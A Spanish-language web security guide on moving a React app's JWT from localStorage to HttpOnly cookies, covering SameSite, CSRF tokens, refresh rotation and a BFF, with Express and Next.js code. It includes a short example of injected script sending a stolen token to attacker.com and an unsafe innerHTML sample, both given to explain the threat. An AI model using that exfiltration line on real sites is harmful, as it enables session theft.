Mover el JWT de una aplicación React fuera de localStorage y hacia cookies HttpOnly
Aprenda por qué los JWT de localStorage son vulnerables a cualquier ataque XSS, cómo las cookies HttpOnly con la opción SameSite, su rotación y el uso de un BFF reducen el riesgo, y qué problemas persisten en las aplicaciones React.
Fuentes: LocalStorage vs. HttpOnly Cookies: How to Actually Secure Your React App’s JWT
El lugar donde una aplicación React almacena su token de acceso determina cuánto puede costarte un error de scripting entre sitios. Un JWT en localStorage puede ser leído y extraído por cualquier script de la página; uno en una cookie HttpOnly no puede serlo, aunque las cookies plantean problemas diferentes relacionados con la falsificación de solicitudes entre sitios. A continuación encontrará una comparación de ambas opciones, una configuración basada en cookies con un backend Express, y las técnicas de rotación, CSRF y Backend-for-Frontend que la completan.
Dos opciones de almacenamiento, dos modelos de amenaza
El navegador no distingue entre sus propios scripts y los inyectados, por lo que los dos lugares habituales para un JWT presentan riesgos diferentes:
- localStorage es legible por cualquier JavaScript del mismo dominio. La amenaza es el XSS; las medidas de mitigación son un CSP estricto y la sanitización.
SameSite y tokens CSRF.Por qué localStorage convierte XSS en toma de control
Cualquier script que se ejecute en su dominio necesita dos pasos para robar el token:
// Any script running on your domain can do this:
const token = localStorage.getItem('access_token');
fetch('https://attacker.com/steal?token=' + token);
El código inyectado llega a los proyectos React por más vías de las que esperan los equipos:
dangerouslySetInnerHTMLcon contenido que no controla.- Paquetes npm comprometidos, como en los incidentes de
event-streamyua-parser-js. - Scripts modificados provenientes de CDNs externas.
- Renderizadores de Markdown que omiten la sanitización.
- Extensiones del navegador que inyectan código en la página.
JSX escapa las cadenas interpoladas, pero esa protección desaparece en cuanto el código decide no utilizarla, generalmente para mostrar información de BIOS o contenido de texto enriquecido:
// ❌ NEVER do this with user-generated content
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
// ❌ Or with rich text editors
<div dangerouslySetInnerHTML={{ __html: sanitizeHtml(user.content) }} />
Los sanitizadores ayudan, pero también han sido eludidos. Como referencia, aquí está el conocido cliente localStorage: herramientas para almacenar y leer el token, además de un wrapper que agrega un encabezado Bearer.
// services/auth.ts
const TOKEN_KEY = 'access_token';
export const setToken = (token: string) => {
localStorage.setItem(TOKEN_KEY, token);
};
export const getToken = () => {
return localStorage.getItem(TOKEN_KEY);
};
export const removeToken = () => {
localStorage.removeItem(TOKEN_KEY);
};
// api/client.ts
import { getToken } from './auth';
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
const token = getToken();
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...options,
headers: {
'Content-Type': 'application/json',
...(token && { Authorization: `Bearer ${token}` }),
...options.headers,
},
});
return response;
};
Es sencillo, y no se puede hacer que sea resistente a XSS, porque el diseño requiere que JavaScript lea el token.
Galletas HttpOnly como opción por defecto
El servidor establece la galleta, y cada atributo soluciona una brecha específica:
Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
HttpOnly;
Secure;
SameSite=Strict;
Path=/;
Max-Age=900
HttpOnlyla oculta dedocument.cookiey de todo acceso desde scripts.Securela limita a conexiones HTTPS.SameSite=Strictimpide que el navegador la incluya en solicitudes iniciadas por otros sitios.
Max-Age=900 otorga al token de acceso una vida útil de 15 minutos.El cliente ya no interactúa con el token
React elimina los auxiliares de almacenamiento y la cabecera correspondiente. La línea esencial es credentials: 'include', lo que hace que fetch envíe cookies. En caso de 401, el mecanismo de envoltura actualiza la solicitud y la vuelve a enviar, o redirige al inicio de sesión.
// api/client.ts
// No manual Authorization header needed!
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...options,
credentials: 'include', // CRITICAL: Sends cookies with requests
headers: {
'Content-Type': 'application/json',
...options.headers,
},
});
// If 401, try refreshing
if (response.status === 401) {
const refreshed = await refreshAccessToken();
if (refreshed) {
// Retry original request (browser auto-sends new cookie)
return apiClient(endpoint, options);
}
// Redirect to login
window.location.href = '/login';
}
return response;
};
En entornos de producción, se debe limitar la reintentación a un solo intento para que una actualización que “funcione” mientras la API siga devolviendo 401 no continúe recursivamente indefinidamente, y se debe compartir una sola actualización en curso entre fallos concurrentes, tal como se describe en la solución de actualización única en curso.
El lado Express
Al iniciar sesión, el servidor firma un token de acceso de 15 minutos y un token de actualización de 7 días con secretos separados, almacena un hash del token de actualización y establece ambos cookies. La cookie de actualización utiliza path: '/auth/refresh' para que solo llegue a ese endpoint. El manejador de actualización verifica el JWT, lo compara con el hash almacenado usando bcrypt y emite una nueva cookie de acceso.
// auth.controller.ts
import { Response } from 'express';
import jwt from 'jsonwebtoken';
const ACCESS_TOKEN_EXPIRY = '15m';
const REFRESH_TOKEN_EXPIRY = '7d';
export const login = async (req, res: Response) => {
const { email, password } = req.body;
// Validate credentials...
const user = await validateUser(email, password);
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.ACCESS_TOKEN_SECRET!,
{ expiresIn: ACCESS_TOKEN_EXPIRY }
);
const refreshToken = jwt.sign(
{ userId: user.id, tokenVersion: user.tokenVersion },
process.env.REFRESH_TOKEN_SECRET!,
{ expiresIn: REFRESH_TOKEN_EXPIRY }
);
// Store refresh token hash in database (not the raw token!)
await storeRefreshToken(user.id, refreshToken);
// Set cookies
res.cookie('access_token', accessToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
});
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/auth/refresh', // Only sent to refresh endpoint
});
res.json({ success: true });
};
export const refresh = async (req, res: Response) => {
const refreshToken = req.cookies.refresh_token;
if (!refreshToken) {
return res.status(401).json({ error: 'No refresh token' });
}
try {
const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET!) as any;
// Check if token is in database and not revoked
const storedToken = await getRefreshToken(payload.userId);
if (!storedToken || !await bcrypt.compare(refreshToken, storedToken.hash)) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
// Rotate: Issue new access token (and optionally new refresh token)
const newAccessToken = jwt.sign(
{ userId: payload.userId },
process.env.ACCESS_TOKEN_SECRET!,
{ expiresIn: ACCESS_TOKEN_EXPIRY }
);
res.cookie('access_token', newAccessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
path: '/',
});
res.json({ success: true });
} catch {
// Clear cookies on failure
res.clearCookie('access_token');
res.clearCookie('refresh_token');
res.status(401).json({ error: 'Invalid token' });
}
};
Antes de reutilizarlo: importe bcrypt; tenga en cuenta que la actualización tiene codificado secure: true mientras que el inicio de sesión verifica el entorno; además, res.clearCookie('refresh_token') también debe incluir path: '/auth/refresh', de lo contrario la cookie no se elimina realmente.
CSRF en un mundo SameSite
El CSRF explota el hecho de que las cookies se envían automáticamente. SameSite soluciona la mayor parte de este problema en el navegador, y los navegadores basados en Chromium tratan las cookies sin ese atributo como Lax. En el caso de una SPA:
- Elija
Strictcuando el frontend y la API comparten un dominio. - Elija
Laxcuando los usuarios llegan a través de enlaces externos y deben iniciar sesión en esa primera navegación. - Evite
Nonea menos que realmente necesite cookies entre sitios y comprenda las consecuencias.
“Site” se refiere al dominio registrable, por lo que un subdominio relacionado comprometido sigue considerándose del mismo sitio.
Agregar un token de doble envío
Como medida adicional de seguridad, el servidor establece un valor aleatorio en una cookie legible; React lo copia en el encabezado X-CSRF-Token, y el servidor rechaza las solicitudes en las que los valores difieren.
// Backend sets a non-HttpOnly CSRF cookie
res.cookie('csrf_token', generateRandomToken(), {
httpOnly: false, // React needs to read this
secure: true,
sameSite: 'strict',
});
// React reads it and sends in header
const csrfToken = document.cookie
.split('; ')
.find(row => row.startsWith('csrf_token='))
?.split('=')[1];
fetch('/api/sensitive', {
method: 'POST',
credentials: 'include',
headers: {
'X-CSRF-Token': csrfToken,
},
});
Una página forjada no puede leer tus cookies debido a la política de mismo origen, por lo que no puede generar el encabezado correspondiente. Con SameSite=Strict y un control estricto de CORS esto suele ser redundante, pero constituye una medida barata contra configuraciones erróneas.
Rotación de tokens de actualización y detección de reutilización
Los tokens de acceso cortos junto con tokens de actualización más largos son la configuración básica habitual, pero un token de actualización robado sigue permitiendo el acceso durante días. Con la rotación, cada actualización emite un nuevo token de actualización e invalida al anterior; si un token ya retirado vuelve a aparecer, significa que alguien lo está reutilizando, y la respuesta segura es revocar todas las sesiones de esa cuenta.
// When refreshing, invalidate the old refresh token
export const refresh = async (req, res) => {
const incomingRefresh = req.cookies.refresh_token;
// Find user by refresh token
const user = await findUserByRefreshToken(incomingRefresh);
if (!user) {
// Possible token reuse! Clear all sessions.
await revokeAllUserTokens(user.id);
return res.status(401).json({ error: 'Token reuse detected' });
}
// Rotate: Generate new pair
const newRefresh = generateRefreshToken();
await replaceRefreshToken(incomingRefresh, newRefresh);
// If attacker had stolen old token, it's now invalid
// If legitimate user has old token (race condition), they'll need to re-auth
};
Primero corrija un error: dentro de if (!user) el código llama a revokeAllUserTokens(user.id) con un valor nulo. La detección real de reutilización debe encontrar al propietario de un token ya rotado, generalmente a través de un registro de “familia de tokens”. Se esperan falsos positivos cuando dos pestañas se actualizan al mismo tiempo; una breve ventana de gracia ayuda. La guía de estrategias de token de refresco aborda más a fondo el lado del servidor.
Mantener los tokens fuera del cliente con un BFF
Un Backend-for-Frontend es un servidor ligero entre React y la API real:
React App → BFF (Next.js API routes / Express) → Actual API
Se ejecutan flujos OAuth (Código de autorización con PKCE), los tokens se almacenan en cookies HttpOnly cifradas, se maneja el CSRF y se elimina la mayor parte de la configuración CORS, ya que el navegador solo hace llamadas a su propio origen. En Next.js, un manejador de rutas puede reenviar las credenciales al servicio de autenticación y convertir el token devuelto en una cookie:
// Next.js API Route (BFF pattern)
// pages/api/auth/[...nextauth].ts or app/api/auth/route.ts
import { NextRequest, NextResponse } from 'next/server';
export async function POST(req: NextRequest) {
const body = await req.json();
// Call actual auth service
const authRes = await fetch('https://internal-api.company.com/auth', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body),
});
const { access_token, refresh_token } = await authRes.json();
const response = NextResponse.json({ success: true });
// Set HttpOnly cookies
response.cookies.set('access_token', access_token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 900,
});
return response;
}
Una versión completa también almacenaría el token de actualización y verificaría authRes.ok antes del análisis. Un BFF es adecuado cuando se utiliza OAuth de terceros como Google o GitHub, la API está en otro dominio, se desea separar la lógica de autenticación del paquete o ya se está utilizando Next.js.
Elegir una configuración
Para la mayoría de las SPAs del mismo dominio, esta es la configuración básica:
✅ HttpOnly cookies with:
- SameSite=Strict (or Lax)
- Secure flag
- Short-lived access tokens (5-15 min)
- Rotating refresh tokens (7 days)
- Token reuse detection
- CORS properly configure
Para APIs de dominios diferentes o clientes móviles, localStorage solo es aceptable si se asume el riesgo de XSS y se compensa por él:
localStorage ONLY if:
- You implement strict CSP headers
- You audit all dependencies for XSS
- You don't use dangerouslySetInnerHTML
- You have a short token lifetime (< 15 min)
- You accept the XSS risk
Para los requisitos más estrictos o protocolos empresariales, un BFF elimina los tokens del navegador:
Backend-for-Frontend (BFF):
- React app talks to same-origin API routes
- API routes handle tokens in HttpOnly cookies
- React never touches JWTs
- Works with OAuth, SAML, enterprise auth
Lista de verificación para la autenticación basada en cookies
- Marcar las cookies de autenticación con
HttpOnly,SecureySameSite=Strict. - Mantener los tokens de acceso por un período de 5 a 15 minutos.
- Rotar los tokens de actualización con detección de reutilización.
- Enviar
credentials: 'include'en cada llamadafetcho axios. - Combinar
Access-Control-Allow-Credentials: truecon un origen explícito. - Asegurarse de que las cookies no aparezcan en los registros ni en las analíticas.
- Borrar las cookies del lado del servidor en un endpoint
/logout, opcionalmente conClear-Site-Data: "cookies". - Implementar de todos modos una política de seguridad de contenido.
Una respuesta reforzada podría incluir estos encabezados:
# Example secure headers
Content-Security-Policy: default-src 'self'; script-src 'self';
Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
Clear-Site-Data: "cookies" # On logout
Conclusión
Las cookies HttpOnly no hacen que el XSS sea inofensivo: el script inyectado aún puede enviar solicitudes autenticadas mientras la página está abierta. Lo que no puede hacer es llevarse el token y reutilizarlo en otro lugar. Esa diferencia, sumada a sus cortos períodos de validez y rotación, hace que las cookies sean la opción por defecto adecuada para las aplicaciones web, aunque sigue siendo necesario contar con un CSP además de ellas. El CSRF se gestiona en gran medida mediante SameSite y un token de doble envío opcional, mientras que el XSS sigue siendo un riesgo constante en el código de React con muchas dependencias. Cuando la autenticación entre dominios complica el uso de las cookies, es mejor crear un pequeño BFF en lugar de recurrir a localStorage.
Lectura relacionada
- Seguridad de APIs Express: Autenticación, validación, límites de tasa y monitoreo — Una guía práctica sobre la seguridad de APIs con Express: autenticación mediante Passport y JWT, modelos de autorización, cifrado AES-GCM, validación, límites de tasa y registro de actividades.
- Cuando la autenticación JWT se vuelve con estado: un caso a favor de las sesiones del lado servidor en Node — Conozca cómo las listas de bloqueo por revocación y los almacenes de actualización hacen que la autenticación JWT sea frágil, cómo las sesiones de Express respaldadas por Postgres la simplifican y dónde siguen siendo útiles los JWT.